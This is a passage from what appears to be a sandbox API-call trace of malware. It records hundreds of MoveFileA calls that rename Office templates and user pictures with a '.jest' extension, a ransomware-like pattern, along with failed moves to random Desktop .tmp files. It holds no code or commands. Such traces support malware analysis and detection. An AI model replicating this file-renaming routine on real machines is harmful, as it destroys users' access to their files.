files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_dkvDH5SQvDStiM8eW0rkP74gwH-JeXbp8t_0FKBBncxeJsq44zB03jxdd FAw9pFuDnbOgLXhb8RsfyEnCKD3Bqd 6e09Frr .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_dkvdh5sqvdstim8ew0rkp74gwh-jexbp8t_0fkbbncxejsq44zb03jxdd faw9pfudnboglxhb8rsfyenckd3bqd 6e09frr .tmp")) returned 0 [0173.212] GetLastError () returned 0x2 [0173.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls.jest")) returned 1 [0173.216] VarBstrFromR4 (in: fltIn=0x47945b61, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.76") returned 0x0 [0173.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AKI8GiVUb1s51MReGfah 0xLYWwCwY0P9M3JWpMET44CQyM6u1mIbiLUO4e1kCe9RP7XxbuzlwnBePeCrZ- ZcuTpbT_8i-eieq0p.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aki8givub1s51mregfah 0xlywwcwy0p9m3jwpmet44cqym6u1mibiluo4e1kce9rp7xxbuzlwnbepecrz- zcutpbt_8i-eieq0p.tmp")) returned 0 [0173.217] GetLastError () returned 0x2 [0173.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.jest")) returned 1 [0173.226] VarBstrFromR4 (in: fltIn=0x47945b63, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.77") returned 0x0 [0173.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VRqezMhPwE2bTxZ3qkpSOxFuy5cHtDDv55vbL VcGjeQv-PNVICUkNcQOWz2mDAkTEcDEQBxGhWVK7-w5rp4mUEsWhgRYmlo3RawI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vrqezmhpwe2btxz3qkpsoxfuy5chtddv55vbl vcgjeqv-pnvicukncqowz2mdaktecdeqbxghwvk7-w5rp4mueswhgrymlo3rawi.tmp")) returned 0 [0173.227] GetLastError () returned 0x2 [0173.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls.jest")) returned 1 [0173.250] VarBstrFromR4 (in: fltIn=0x47945b67, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.8") returned 0x0 [0173.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\texgA5qWgTWhLzkxFn4T53I0MFLuntvI0HV7RyswRqNeC2d udVCULW_L-iIgbhLXUz9J35fPNUXCg5Ma4axzZ8Y2M pH8FEDWsU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\texga5qwgtwhlzkxfn4t53i0mfluntvi0hv7ryswrqnec2d udvculw_l-iigbhlxuz9j35fpnuxcg5ma4axzz8y2m ph8fedwsu.tmp")) returned 0 [0173.252] GetLastError () returned 0x2 [0173.254] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.jest")) returned 1 [0173.256] VarBstrFromR4 (in: fltIn=0x47945b67, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.8") returned 0x0 [0173.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nCfuG07jGqwqHtJwWVdM7kRXRoUcRO4dkUt0gOzbcEo byRjVet6KVH1SDP5WDBtt2pKU8ZwBrxc0z2T-hY88K12mN0wx254M_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ncfug07jgqwqhtjwwvdm7krxroucro4dkut0gozbceo byrjvet6kvh1sdp5wdbtt2pku8zwbrxc0z2t-hy88k12mn0wx254m_.tmp")) returned 0 [0173.257] GetLastError () returned 0x2 [0173.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.jest")) returned 1 [0173.264] VarBstrFromR4 (in: fltIn=0x47945b69, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.82") returned 0x0 [0173.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vqos0JZu6Kabpjl8x_evJX62 PjhrFOhadcTWSsNoY387iacFv w_Kzv3SUMK8WCOIEX65VU 6KeRRlbAfd3QG1S2lSoJUiMIU w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vqos0jzu6kabpjl8x_evjx62 pjhrfohadctwssnoy387iacfv w_kzv3sumk8wcoiex65vu 6kerrlbafd3qg1s2lsojuimiu w.tmp")) returned 0 [0173.265] GetLastError () returned 0x2 [0173.267] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.jest")) returned 1 [0173.269] VarBstrFromR4 (in: fltIn=0x47945b69, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.82") returned 0x0 [0173.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PYLFg_y-3K2cy2C3bfanxjYmV97f2DKXxlPJvE9fPrYvE1t7C7lfKypOIGyLUUDKwZXn6qx-BEIK8dsAViGPwVAF59tWBForC5t.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pylfg_y-3k2cy2c3bfanxjymv97f2dkxxlpjve9fpryve1t7c7lfkypoigyluudkwzxn6qx-beik8dsavigpwvaf59twbforc5t.tmp")) returned 0 [0173.270] GetLastError () returned 0x2 [0173.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.jest")) returned 1 [0173.274] VarBstrFromR4 (in: fltIn=0x47945b69, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.82") returned 0x0 [0173.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tOToX5--KSDH-OSjDTjpJ6LEYS-PApMqy-kBBrCOooDHh4CZ0TOMz0YmzAM4XQX GcWztuw_IeZYWUc6VVTFG3hmWeNOz1Ty_ZzkA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\totox5--ksdh-osjdtjpj6leys-papmqy-kbbrcooodhh4cz0tomz0ymzam4xqx gcwztuw_iezywuc6vvtfg3hmwenoz1ty_zzka.tmp")) returned 0 [0173.275] GetLastError () returned 0x2 [0173.277] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.jest")) returned 1 [0173.280] VarBstrFromR4 (in: fltIn=0x47945b6b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.84") returned 0x0 [0173.281] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a-DNipyKbwmVeh0I m7LeM6gR47VwHZM7ewzDVdEhHAu3 KV5Zl8cuXRth2FZ4QLTxfyQB053kwL0fD1v2HeBeuO1rqf2vj5V9FxP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a-dnipykbwmveh0i m7lem6gr47vwhzm7ewzdvdehhau3 kv5zl8cuxrth2fz4qltxfyqb053kwl0fd1v2hebeuo1rqf2vj5v9fxp.tmp")) returned 0 [0173.281] GetLastError () returned 0x2 [0173.282] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.jest")) returned 1 [0173.285] VarBstrFromR4 (in: fltIn=0x47945b6b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.84") returned 0x0 [0173.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyuDTu0 5zMpJ lpKLl3mWBDMN2J-bmLjm4gc9f9ScoaNgI G4OEqfQmhsWQw4nimpPmgH5Vu-eIxB0z6YuGlx4IxkdEeU9Fc3NN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lyudtu0 5zmpj lpkll3mwbdmn2j-bmljm4gc9f9scoangi g4oeqfqmhswqw4nimppmgh5vu-eixb0z6yuglx4ixkdeeu9fc3nn.tmp")) returned 0 [0173.286] GetLastError () returned 0x2 [0173.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.jest")) returned 1 [0173.296] VarBstrFromR4 (in: fltIn=0x47945b6d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.85") returned 0x0 [0173.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UXA9PwVeJhjRPaEO18-lXgUZ0ulpgtLV6_Kfn_YAv6VoK_xo9JLjqI--zw3qM4fY5FIDXyUuLBf5ZHhhdiPSmDg2zQuMz B5g1bQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uxa9pwvejhjrpaeo18-lxguz0ulpgtlv6_kfn_yav6vok_xo9jljqi--zw3qm4fy5fidxyuulbf5zhhhdipsmdg2zqumz b5g1bq.tmp")) returned 0 [0173.297] GetLastError () returned 0x2 [0173.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.jest")) returned 1 [0173.303] VarBstrFromR4 (in: fltIn=0x47945b6d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.85") returned 0x0 [0173.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FrIB37Ed KWbyT04f0AvEMmKFlF0kYqFmTEH5CyZ3cCz91ODXek60Cm_NfcqowJ 6BrHiXXDHP1AQ1I-XqwUuxaPo2oQZ4Qw5Zhq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frib37ed kwbyt04f0avemmkflf0kyqfmteh5cyz3ccz91odxek60cm_nfcqowj 6brhixxdhp1aq1i-xqwuuxapo2oqz4qw5zhq.tmp")) returned 0 [0173.304] GetLastError () returned 0x2 [0173.309] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.jest")) returned 1 [0173.317] VarBstrFromR4 (in: fltIn=0x47945b6f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.87") returned 0x0 [0173.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M_Wrfkw5i6f7d8-LcSu-qTpahhlrfXqjDUO8OomWFGSsbvqjWxj9w_riqEv_huFwkU5Wq5_G-mqUZcVhD7_QA rIB7eTo8eduqwY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m_wrfkw5i6f7d8-lcsu-qtpahhlrfxqjduo8oomwfgssbvqjwxj9w_riqev_hufwku5wq5_g-mquzcvhd7_qa rib7eto8eduqwy.tmp")) returned 0 [0173.319] GetLastError () returned 0x2 [0173.323] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.jest")) returned 1 [0173.327] VarBstrFromR4 (in: fltIn=0x47945b71, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.88") returned 0x0 [0173.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ha_2_de4PwULcKw5AQVnx-vsPvBspu1vr-wwB7VpLfVGALcGuCzJji6lCWxXs gK1V7ucPfJbcTbPg60WgW-m3G0IF4KCqtPWaJxg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ha_2_de4pwulckw5aqvnx-vspvbspu1vr-wwb7vplfvgalcguczjji6lcwxxs gk1v7ucpfjbctbpg60wgw-m3g0if4kcqtpwajxg.tmp")) returned 0 [0173.328] GetLastError () returned 0x2 [0173.354] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\ZffDeqJT_HbA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\zffdeqjt_hba.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\ZffDeqJT_HbA.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\zffdeqjt_hba.png.jest")) returned 1 [0173.357] VarBstrFromR4 (in: fltIn=0x47945b75, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.91") returned 0x0 [0173.358] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\ZffDeqJT_HbA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\zffdeqjt_hba.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uWuB6pF4hqWVffrfgdPzXz8krDTBeTzvVNl4gImYocdrNe_CMJCsKvRMpP7BGbClP2-tffdJFZVlHdPlwRbiEjw9Pc4zX9-KswM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uwub6pf4hqwvffrfgdpzxz8krdtbetzvvnl4gimyocdrne_cmjcskvrmpp7bgbclp2-tffdjfzvlhdplwrbiejw9pc4zx9-kswm.tmp")) returned 0 [0173.358] GetLastError () returned 0x2 [0173.359] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\7b_2lF2Aa28BxkV_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\7b_2lf2aa28bxkv_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\7b_2lF2Aa28BxkV_.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\7b_2lf2aa28bxkv_.jpg.jest")) returned 1 [0173.360] VarBstrFromR4 (in: fltIn=0x47945b75, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.91") returned 0x0 [0173.361] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\7b_2lF2Aa28BxkV_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\7b_2lf2aa28bxkv_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EQZ5UmhdGuS0UEA3QJmZE74F8TFQfAXEOFW85l7tK6RLRoV-Vpbp_oXYo51Iqtm3zIEPTRY3Zkx46jIe_lCZcjiRsCGngj-Eevi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eqz5umhdgus0uea3qjmze74f8tfqfaxeofw85l7tk6rlrov-vpbp_oxyo51iqtm3zieptry3zkx46jie_lczcjirscgngj-eevi.tmp")) returned 0 [0173.361] GetLastError () returned 0x2 [0173.362] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\VSoFxI 2BVY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\vsofxi 2bvy.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\VSoFxI 2BVY.jpg.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\vsofxi 2bvy.jpg.jest")) returned 1 [0173.363] VarBstrFromR4 (in: fltIn=0x47945b75, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.91") returned 0x0 [0173.364] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\VSoFxI 2BVY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\vsofxi 2bvy.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fMQRwfGRvo- h xJL-v9lnUPsskDDcK_b_WG-eESUuV1kMfCKvk60uk5v-twRVboIhsST0L3LxqPLQ5cehl26M_iA3CSCe83lh_ko.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fmqrwfgrvo- h xjl-v9lnupsskddck_b_wg-eesuuv1kmfckvk60uk5v-twrvboihsst0l3lxqplq5cehl26m_ia3csce83lh_ko.tmp")) returned 0 [0173.364] GetLastError () returned 0x2 [0173.365] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\gnBQAG4MxdW.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\gnbqag4mxdw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\gnBQAG4MxdW.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\gnbqag4mxdw.png.jest")) returned 1 [0173.366] VarBstrFromR4 (in: fltIn=0x47945b75, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.91") returned 0x0 [0173.367] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\gnBQAG4MxdW.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\gnbqag4mxdw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ikEd2vB6671YWfomKvjcK5xU2e1MXVEQflToJB5SvPZRUaCsOghcpA6N0Ebhd4G3YTmResiibAIeTeYWWQzzuJk-o6UqyDtpVwbZ7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iked2vb6671ywfomkvjck5xu2e1mxveqfltojb5svpzruacsoghcpa6n0ebhd4g3ytmresiibaieteywwqzzujk-o6uqydtpvwbz7.tmp")) returned 0 [0173.367] GetLastError () returned 0x2 [0173.368] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\f-ELb6-yxZ2_nAv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\f-elb6-yxz2_nav.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\f-ELb6-yxZ2_nAv.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\f-elb6-yxz2_nav.png.jest")) returned 1 [0173.369] VarBstrFromR4 (in: fltIn=0x47945b75, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.91") returned 0x0 [0173.370] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\f-ELb6-yxZ2_nAv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\f-elb6-yxz2_nav.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FqEieuWJWZDdQlPhlblkSLJDSVX2LhDVI0B7B_AnaS7EzILfWWW5nsQO8VySXsXsUbPwxxF4U2rtDDUPgPPSKH f9 MWENJcskjfO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fqeieuwjwzddqlphlblksljdsvx2lhdvi0b7b_anas7ezilfwww5nsqo8vysxsxsubpwxxf4u2rtddupgppskh f9 mwenjcskjfo.tmp")) returned 0 [0173.370] GetLastError () returned 0x2 [0173.370] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\zXwG2sx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\zxwg2sx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\zXwG2sx.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\zxwg2sx.png.jest")) returned 1 [0173.372] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.372] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\zXwG2sx.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\zxwg2sx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zN2w6qMbkjf aVd41v1vh69guS-DrpwAYgibZPpzLm04_vV_cOgcCxFzlPkXINkgls phvlElbzIlJJARfgOk9BedlWjWjJE9Ece.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zn2w6qmbkjf avd41v1vh69gus-drpwaygibzppzlm04_vv_cogccxfzlpkxinkgls phvlelbziljjarfgok9bedlwjwjje9ece.tmp")) returned 0 [0173.372] GetLastError () returned 0x2 [0173.373] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\SdsGI12F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sdsgi12f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\SdsGI12F.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sdsgi12f.png.jest")) returned 1 [0173.375] VarBstrFromR4 (in: fltIn=0x47945b77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.93") returned 0x0 [0173.375] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PL6nS\\qv6Q_7\\SdsGI12F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pl6ns\\qv6q_7\\sdsgi12f.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jEAuTdDWSkXcXgEvL7jPYbiKM7h-4alLd6tK-XrRoJi6vNyNoBFTbGergxhgvNlmeY4X6Vms6NoY1CI-_GgA-TJz9mOReBSGG2mhz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeautddwskxcxgevl7jpybikm7h-4alld6tk-xrroji6vnynobftbgergxhgvnlmey4x6vms6noy1ci-_gga-tjz9morebsgg2mhz.tmp")) returned 0 [0173.376] GetLastError () returned 0x2 [0173.376] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 